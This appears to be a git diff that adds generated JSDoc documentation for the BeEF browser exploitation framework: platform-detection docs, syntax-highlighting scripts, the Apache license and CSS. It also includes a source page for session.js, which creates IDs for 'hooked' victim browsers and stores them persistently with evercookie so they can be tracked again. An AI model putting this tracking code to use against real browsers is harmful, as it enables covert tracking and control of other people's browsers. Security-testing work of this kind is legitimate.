"BlackBerry", "Galaxy S4", "Lumia", "iPad", "iPod", "iPhone", "Kindle", +"Kindle Fire", "Nexus", "Nook", "PlayBook", "TouchPad" and "Transformer"

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) toString

+ + + + +
+

Returns platform.description when the platform object is coerced to a string.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) ua :string|null

+ + + + +
+

The browser's user agent string.

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) version :string|null

+ + + + +
+

The browser/environment version.

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + +

Methods

+ + + + + + + +

(static) parse(uaopt) → {Object}

+ + + + + + +
+

Creates a new platform object.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeAttributesDefaultDescription
ua + + +Object +| + +string + + + + + + <optional>
+ + + + + +
+ + navigator.userAgent + +

The user agent string or +context object.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

A platform object.

+
+ + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/scripts/linenumber.js b/docs/scripts/linenumber.js new file mode 100644 index 000000000..4354785ce --- /dev/null +++ b/docs/scripts/linenumber.js @@ -0,0 +1,25 @@ +/*global document */ +(() => { + const source = document.getElementsByClassName('prettyprint source linenums'); + let i = 0; + let lineNumber = 0; + let lineId; + let lines; + let totalLines; + let anchorHash; + + if (source && source[0]) { + anchorHash = document.location.hash.substring(1); + lines = source[0].getElementsByTagName('li'); + totalLines = lines.length; + + for (; i < totalLines; i++) { + lineNumber++; + lineId = `line${lineNumber}`; + lines[i].id = lineId; + if (lineId === anchorHash) { + lines[i].className += ' selected'; + } + } + } +})(); diff --git a/docs/scripts/prettify/Apache-License-2.0.txt b/docs/scripts/prettify/Apache-License-2.0.txt new file mode 100644 index 000000000..d64569567 --- /dev/null +++ b/docs/scripts/prettify/Apache-License-2.0.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/docs/scripts/prettify/lang-css.js b/docs/scripts/prettify/lang-css.js new file mode 100644 index 000000000..041e1f590 --- /dev/null +++ b/docs/scripts/prettify/lang-css.js @@ -0,0 +1,2 @@ +PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\f\r ]+/,null," \t\r\n "]],[["str",/^"(?:[^\n\f\r"\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*"/,null],["str",/^'(?:[^\n\f\r'\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*'/,null],["lang-css-str",/^url\(([^"')]*)\)/i],["kwd",/^(?:url|rgb|!important|@import|@page|@media|@charset|inherit)(?=[^\w-]|$)/i,null],["lang-css-kw",/^(-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*)\s*:/i],["com",/^\/\*[^*]*\*+(?:[^*/][^*]*\*+)*\//],["com", +/^(?:<\!--|--\>)/],["lit",/^(?:\d+|\d*\.\d+)(?:%|[a-z]+)?/i],["lit",/^#[\da-f]{3,6}/i],["pln",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i],["pun",/^[^\s\w"']+/]]),["css"]);PR.registerLangHandler(PR.createSimpleLexer([],[["kwd",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i]]),["css-kw"]);PR.registerLangHandler(PR.createSimpleLexer([],[["str",/^[^"')]+/]]),["css-str"]); diff --git a/docs/scripts/prettify/prettify.js b/docs/scripts/prettify/prettify.js new file mode 100644 index 000000000..eef5ad7e6 --- /dev/null +++ b/docs/scripts/prettify/prettify.js @@ -0,0 +1,28 @@ +var q=null;window.PR_SHOULD_USE_CONTINUATION=!0; +(function(){function L(a){function m(a){var f=a.charCodeAt(0);if(f!==92)return f;var b=a.charAt(1);return(f=r[b])?f:"0"<=b&&b<="7"?parseInt(a.substring(1),8):b==="u"||b==="x"?parseInt(a.substring(2),16):a.charCodeAt(1)}function e(a){if(a<32)return(a<16?"\\x0":"\\x")+a.toString(16);a=String.fromCharCode(a);if(a==="\\"||a==="-"||a==="["||a==="]")a="\\"+a;return a}function h(a){for(var f=a.substring(1,a.length-1).match(/\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\[0-3][0-7]{0,2}|\\[0-7]{1,2}|\\[\S\s]|[^\\]/g),a= +[],b=[],o=f[0]==="^",c=o?1:0,i=f.length;c122||(d<65||j>90||b.push([Math.max(65,j)|32,Math.min(d,90)|32]),d<97||j>122||b.push([Math.max(97,j)&-33,Math.min(d,122)&-33]))}}b.sort(function(a,f){return a[0]-f[0]||f[1]-a[1]});f=[];j=[NaN,NaN];for(c=0;ci[0]&&(i[1]+1>i[0]&&b.push("-"),b.push(e(i[1])));b.push("]");return b.join("")}function y(a){for(var f=a.source.match(/\[(?:[^\\\]]|\\[\S\s])*]|\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\\d+|\\[^\dux]|\(\?[!:=]|[()^]|[^()[\\^]+/g),b=f.length,d=[],c=0,i=0;c=2&&a==="["?f[c]=h(j):a!=="\\"&&(f[c]=j.replace(/[A-Za-z]/g,function(a){a=a.charCodeAt(0);return"["+String.fromCharCode(a&-33,a|32)+"]"}));return f.join("")}for(var t=0,s=!1,l=!1,p=0,d=a.length;p=5&&"lang-"===b.substring(0,5))&&!(o&&typeof o[1]==="string"))c=!1,b="src";c||(r[f]=b)}i=d;d+=f.length;if(c){c=o[1];var j=f.indexOf(c),k=j+c.length;o[2]&&(k=f.length-o[2].length,j=k-c.length);b=b.substring(5);B(l+i,f.substring(0,j),e,p);B(l+i+j,c,C(b,c),p);B(l+i+k,f.substring(k),e,p)}else p.push(l+i,b)}a.e=p}var h={},y;(function(){for(var e=a.concat(m), +l=[],p={},d=0,g=e.length;d=0;)h[n.charAt(k)]=r;r=r[1];n=""+r;p.hasOwnProperty(n)||(l.push(r),p[n]=q)}l.push(/[\S\s]/);y=L(l)})();var t=m.length;return e}function u(a){var m=[],e=[];a.tripleQuotedStrings?m.push(["str",/^(?:'''(?:[^'\\]|\\[\S\s]|''?(?=[^']))*(?:'''|$)|"""(?:[^"\\]|\\[\S\s]|""?(?=[^"]))*(?:"""|$)|'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$))/,q,"'\""]):a.multiLineStrings?m.push(["str",/^(?:'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$)|`(?:[^\\`]|\\[\S\s])*(?:`|$))/, +q,"'\"`"]):m.push(["str",/^(?:'(?:[^\n\r'\\]|\\.)*(?:'|$)|"(?:[^\n\r"\\]|\\.)*(?:"|$))/,q,"\"'"]);a.verbatimStrings&&e.push(["str",/^@"(?:[^"]|"")*(?:"|$)/,q]);var h=a.hashComments;h&&(a.cStyleComments?(h>1?m.push(["com",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,q,"#"]):m.push(["com",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\n\r]*)/,q,"#"]),e.push(["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/,q])):m.push(["com",/^#[^\n\r]*/, +q,"#"]));a.cStyleComments&&(e.push(["com",/^\/\/[^\n\r]*/,q]),e.push(["com",/^\/\*[\S\s]*?(?:\*\/|$)/,q]));a.regexLiterals&&e.push(["lang-regex",/^(?:^^\.?|[!+-]|!=|!==|#|%|%=|&|&&|&&=|&=|\(|\*|\*=|\+=|,|-=|->|\/|\/=|:|::|;|<|<<|<<=|<=|=|==|===|>|>=|>>|>>=|>>>|>>>=|[?@[^]|\^=|\^\^|\^\^=|{|\||\|=|\|\||\|\|=|~|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\s*(\/(?=[^*/])(?:[^/[\\]|\\[\S\s]|\[(?:[^\\\]]|\\[\S\s])*(?:]|$))+\/)/]);(h=a.types)&&e.push(["typ",h]);a=(""+a.keywords).replace(/^ | $/g, +"");a.length&&e.push(["kwd",RegExp("^(?:"+a.replace(/[\s,]+/g,"|")+")\\b"),q]);m.push(["pln",/^\s+/,q," \r\n\t\xa0"]);e.push(["lit",/^@[$_a-z][\w$@]*/i,q],["typ",/^(?:[@_]?[A-Z]+[a-z][\w$@]*|\w+_t\b)/,q],["pln",/^[$_a-z][\w$@]*/i,q],["lit",/^(?:0x[\da-f]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+-]?\d+)?)[a-z]*/i,q,"0123456789"],["pln",/^\\[\S\s]?/,q],["pun",/^.[^\s\w"-$'./@\\`]*/,q]);return x(m,e)}function D(a,m){function e(a){switch(a.nodeType){case 1:if(k.test(a.className))break;if("BR"===a.nodeName)h(a), +a.parentNode&&a.parentNode.removeChild(a);else for(a=a.firstChild;a;a=a.nextSibling)e(a);break;case 3:case 4:if(p){var b=a.nodeValue,d=b.match(t);if(d){var c=b.substring(0,d.index);a.nodeValue=c;(b=b.substring(d.index+d[0].length))&&a.parentNode.insertBefore(s.createTextNode(b),a.nextSibling);h(a);c||a.parentNode.removeChild(a)}}}}function h(a){function b(a,d){var e=d?a.cloneNode(!1):a,f=a.parentNode;if(f){var f=b(f,1),g=a.nextSibling;f.appendChild(e);for(var h=g;h;h=g)g=h.nextSibling,f.appendChild(h)}return e} +for(;!a.nextSibling;)if(a=a.parentNode,!a)return;for(var a=b(a.nextSibling,0),e;(e=a.parentNode)&&e.nodeType===1;)a=e;d.push(a)}var k=/(?:^|\s)nocode(?:\s|$)/,t=/\r\n?|\n/,s=a.ownerDocument,l;a.currentStyle?l=a.currentStyle.whiteSpace:window.getComputedStyle&&(l=s.defaultView.getComputedStyle(a,q).getPropertyValue("white-space"));var p=l&&"pre"===l.substring(0,3);for(l=s.createElement("LI");a.firstChild;)l.appendChild(a.firstChild);for(var d=[l],g=0;g=0;){var h=m[e];A.hasOwnProperty(h)?window.console&&console.warn("cannot override language handler %s",h):A[h]=a}}function C(a,m){if(!a||!A.hasOwnProperty(a))a=/^\s*=o&&(h+=2);e>=c&&(a+=2)}}catch(w){"console"in window&&console.log(w&&w.stack?w.stack:w)}}var v=["break,continue,do,else,for,if,return,while"],w=[[v,"auto,case,char,const,default,double,enum,extern,float,goto,int,long,register,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"], +"catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof"],F=[w,"alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,dynamic_cast,explicit,export,friend,inline,late_check,mutable,namespace,nullptr,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where"],G=[w,"abstract,boolean,byte,extends,final,finally,implements,import,instanceof,null,native,package,strictfp,super,synchronized,throws,transient"], +H=[G,"as,base,by,checked,decimal,delegate,descending,dynamic,event,fixed,foreach,from,group,implicit,in,interface,internal,into,is,lock,object,out,override,orderby,params,partial,readonly,ref,sbyte,sealed,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,var"],w=[w,"debugger,eval,export,function,get,null,set,undefined,var,with,Infinity,NaN"],I=[v,"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None"], +J=[v,"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END"],v=[v,"case,done,elif,esac,eval,fi,function,in,local,set,then,until"],K=/^(DIR|FILE|vector|(de|priority_)?queue|list|stack|(const_)?iterator|(multi)?(set|map)|bitset|u?(int|float)\d*)/,N=/\S/,O=u({keywords:[F,H,w,"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END"+ +I,J,v],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),A={};k(O,["default-code"]);k(x([],[["pln",/^[^]*(?:>|$)/],["com",/^<\!--[\S\s]*?(?:--\>|$)/],["lang-",/^<\?([\S\s]+?)(?:\?>|$)/],["lang-",/^<%([\S\s]+?)(?:%>|$)/],["pun",/^(?:<[%?]|[%?]>)/],["lang-",/^]*>([\S\s]+?)<\/xmp\b[^>]*>/i],["lang-js",/^]*>([\S\s]*?)(<\/script\b[^>]*>)/i],["lang-css",/^]*>([\S\s]*?)(<\/style\b[^>]*>)/i],["lang-in.tag",/^(<\/?[a-z][^<>]*>)/i]]), +["default-markup","htm","html","mxml","xhtml","xml","xsl"]);k(x([["pln",/^\s+/,q," \t\r\n"],["atv",/^(?:"[^"]*"?|'[^']*'?)/,q,"\"'"]],[["tag",/^^<\/?[a-z](?:[\w-.:]*\w)?|\/?>$/i],["atn",/^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],["lang-uq.val",/^=\s*([^\s"'>]*(?:[^\s"'/>]|\/(?=\s)))/],["pun",/^[/<->]+/],["lang-js",/^on\w+\s*=\s*"([^"]+)"/i],["lang-js",/^on\w+\s*=\s*'([^']+)'/i],["lang-js",/^on\w+\s*=\s*([^\s"'>]+)/i],["lang-css",/^style\s*=\s*"([^"]+)"/i],["lang-css",/^style\s*=\s*'([^']+)'/i],["lang-css", +/^style\s*=\s*([^\s"'>]+)/i]]),["in.tag"]);k(x([],[["atv",/^[\S\s]+/]]),["uq.val"]);k(u({keywords:F,hashComments:!0,cStyleComments:!0,types:K}),["c","cc","cpp","cxx","cyc","m"]);k(u({keywords:"null,true,false"}),["json"]);k(u({keywords:H,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:K}),["cs"]);k(u({keywords:G,cStyleComments:!0}),["java"]);k(u({keywords:v,hashComments:!0,multiLineStrings:!0}),["bsh","csh","sh"]);k(u({keywords:I,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}), +["cv","py"]);k(u({keywords:"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END",hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["perl","pl","pm"]);k(u({keywords:J,hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["rb"]);k(u({keywords:w,cStyleComments:!0,regexLiterals:!0}),["js"]);k(u({keywords:"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,true,try,unless,until,when,while,yes", +hashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,regexLiterals:!0}),["coffee"]);k(x([],[["str",/^[\S\s]+/]]),["regex"]);window.prettyPrintOne=function(a,m,e){var h=document.createElement("PRE");h.innerHTML=a;e&&D(h,e);E({g:m,i:e,h:h});return h.innerHTML};window.prettyPrint=function(a){function m(){for(var e=window.PR_SHOULD_USE_CONTINUATION?l.now()+250:Infinity;p=0){var k=k.match(g),f,b;if(b= +!k){b=n;for(var o=void 0,c=b.firstChild;c;c=c.nextSibling)var i=c.nodeType,o=i===1?o?b:c:i===3?N.test(c.nodeValue)?b:o:o;b=(f=o===b?void 0:o)&&"CODE"===f.tagName}b&&(k=f.className.match(g));k&&(k=k[1]);b=!1;for(o=n.parentNode;o;o=o.parentNode)if((o.tagName==="pre"||o.tagName==="code"||o.tagName==="xmp")&&o.className&&o.className.indexOf("prettyprint")>=0){b=!0;break}b||((b=(b=n.className.match(/\blinenums\b(?::(\d+))?/))?b[1]&&b[1].length?+b[1]:!0:!1)&&D(n,b),d={g:k,h:n,i:b},E(d))}}p + + + + JSDoc: Source: session.js + + + + + + + + + + +
+ +

Source: session.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides basic session functions.
+ * @namespace beef.session
+ */
+beef.session = {
+	
+	hook_session_id_length: 80,
+	hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",	
+	ec: new evercookie(),
+    beefhook: "<%= @hook_session_name %>",
+	
+	/**
+	 * Gets a string which will be used to identify the hooked browser session
+	 * 
+	 * @example: var hook_session_id = beef.session.get_hook_session_id();
+	 */
+  	get_hook_session_id: function() {
+		// check if the browser is already known to the framework
+		var id = this.ec.evercookie_cookie(beef.session.beefhook);
+		if (typeof id == 'undefined') {
+			var id = this.ec.evercookie_userdata(beef.session.beefhook);
+		}
+		if (typeof id == 'undefined') {
+			var id = this.ec.evercookie_window(beef.session.beefhook);
+		}
+		
+		// if the browser is not known create a hook session id and set it
+		if ((typeof id == 'undefined') || (id == null)) {
+			id = this.gen_hook_session_id();
+			this.set_hook_session_id(id);
+		}
+		
+		// return the hooked browser session identifier
+		return id;
+	},
+	
+	/**
+	 * Sets a string which will be used to identify the hooked browser session
+	 * 
+	 * @example: beef.session.set_hook_session_id('RANDOMSTRING');
+	 */
+  	set_hook_session_id: function(id) {
+		// persist the hook session id
+		this.ec.evercookie_cookie(beef.session.beefhook, id);
+		this.ec.evercookie_userdata(beef.session.beefhook, id);
+		this.ec.evercookie_window(beef.session.beefhook, id);
+	},
+	
+	/**
+	 * Generates a random string using the chars in hook_session_id_chars.
+	 * 
+	 * @example: beef.session.gen_hook_session_id();
+	 */
+  	gen_hook_session_id: function() {
+	    // init the return value
+		var hook_session_id = "";
+		
+		// construct the random string 
+		for(var i=0; i<this.hook_session_id_length; i++) {
+		  var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
+		  hook_session_id += this.hook_session_id_chars.charAt(rand_num);
+		}
+		
+		return hook_session_id;
+	}
+};
+
+beef.regCmp('beef.session');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/styles/jsdoc-default.css b/docs/styles/jsdoc-default.css new file mode 100644 index 000000000..7d1729dc9 --- /dev/null +++ b/docs/styles/jsdoc-default.css @@ -0,0 +1,358 @@ +@font-face { + font-family: 'Open Sans'; + font-weight: normal; + font-style: normal; + src: url('../fonts/OpenSans-Regular-webfont.eot'); + src: + local('Open Sans'), + local('OpenSans'), + url('../fonts/OpenSans-Regular-webfont.eot?#iefix') format('embedded-opentype'), + url('../fonts/OpenSans-Regular-webfont.woff') format('woff'), + url('../fonts/OpenSans-Regular-webfont.svg#open_sansregular') format('svg'); +} + +@font-face { + font-family: 'Open Sans Light'; + font-weight: normal; + font-style: normal; + src: url('../fonts/OpenSans-Light-webfont.eot'); + src: + local('Open Sans Light'), + local('OpenSans Light'), + url('../fonts/OpenSans-Light-webfont.eot?#iefix') format('embedded-opentype'), + url('../fonts/OpenSans-Light-webfont.woff') format('woff'), + url('../fonts/OpenSans-Light-webfont.svg#open_sanslight') format('svg'); +} + +html +{ + overflow: auto; + background-color: #fff; + font-size: 14px; +} + +body +{ + font-family: 'Open Sans', sans-serif; + line-height: 1.5; + color: #4d4e53; + background-color: white; +} + +a, a:visited, a:active { + color: #0095dd; + text-decoration: none; +} + +a:hover { + text-decoration: underline; +} + +header +{ + display: block; + padding: 0px 4px; +} + +tt, code, kbd, samp { + font-family: Consolas, Monaco, 'Andale Mono', monospace; +} + +.class-description { + font-size: 130%; + line-height: 140%; + margin-bottom: 1em; + margin-top: 1em; +} + +.class-description:empty { + margin: 0; +} + +#main { + float: left; + width: 70%; +} + +article dl { + margin-bottom: 40px; +} + +article img { + max-width: 100%; +} + +section +{ + display: block; + background-color: #fff; + padding: 12px 24px; + border-bottom: 1px solid #ccc; + margin-right: 30px; +} + +.variation { + display: none; +} + +.signature-attributes { + font-size: 60%; + color: #aaa; + font-style: italic; + font-weight: lighter; +} + +nav +{ + display: block; + float: right; + margin-top: 28px; + width: 30%; + box-sizing: border-box; + border-left: 1px solid #ccc; + padding-left: 16px; +} + +nav ul { + font-family: 'Lucida Grande', 'Lucida Sans Unicode', arial, sans-serif; + font-size: 100%; + line-height: 17px; + padding: 0; + margin: 0; + list-style-type: none; +} + +nav ul a, nav ul a:visited, nav ul a:active { + font-family: Consolas, Monaco, 'Andale Mono', monospace; + line-height: 18px; + color: #4D4E53; +} + +nav h3 { + margin-top: 12px; +} + +nav li { + margin-top: 6px; +} + +footer { + display: block; + padding: 6px; + margin-top: 12px; + font-style: italic; + font-size: 90%; +} + +h1, h2, h3, h4 { + font-weight: 200; + margin: 0; +} + +h1 +{ + font-family: 'Open Sans Light', sans-serif; + font-size: 48px; + letter-spacing: -2px; + margin: 12px 24px 20px; +} + +h2, h3.subsection-title +{ + font-size: 30px; + font-weight: 700; + letter-spacing: -1px; + margin-bottom: 12px; +} + +h3 +{ + font-size: 24px; + letter-spacing: -0.5px; + margin-bottom: 12px; +} + +h4 +{ + font-size: 18px; + letter-spacing: -0.33px; + margin-bottom: 12px; + color: #4d4e53; +} + +h5, .container-overview .subsection-title +{ + font-size: 120%; + font-weight: bold; + letter-spacing: -0.01em; + margin: 8px 0 3px 0; +} + +h6 +{ + font-size: 100%; + letter-spacing: -0.01em; + margin: 6px 0 3px 0; + font-style: italic; +} + +table +{ + border-spacing: 0; + border: 0; + border-collapse: collapse; +} + +td, th +{ + border: 1px solid #ddd; + margin: 0px; + text-align: left; + vertical-align: top; + padding: 4px 6px; + display: table-cell; +} + +thead tr +{ + background-color: #ddd; + font-weight: bold; +} + +th { border-right: 1px solid #aaa; } +tr > th:last-child { border-right: 1px solid #ddd; } + +.ancestors, .attribs { color: #999; } +.ancestors a, .attribs a +{ + color: #999 !important; + text-decoration: none; +} + +.clear +{ + clear: both; +} + +.important +{ + font-weight: bold; + color: #950B02; +} + +.yes-def { + text-indent: -1000px; +} + +.type-signature { + color: #aaa; +} + +.name, .signature { + font-family: Consolas, Monaco, 'Andale Mono', monospace; +} + +.details { margin-top: 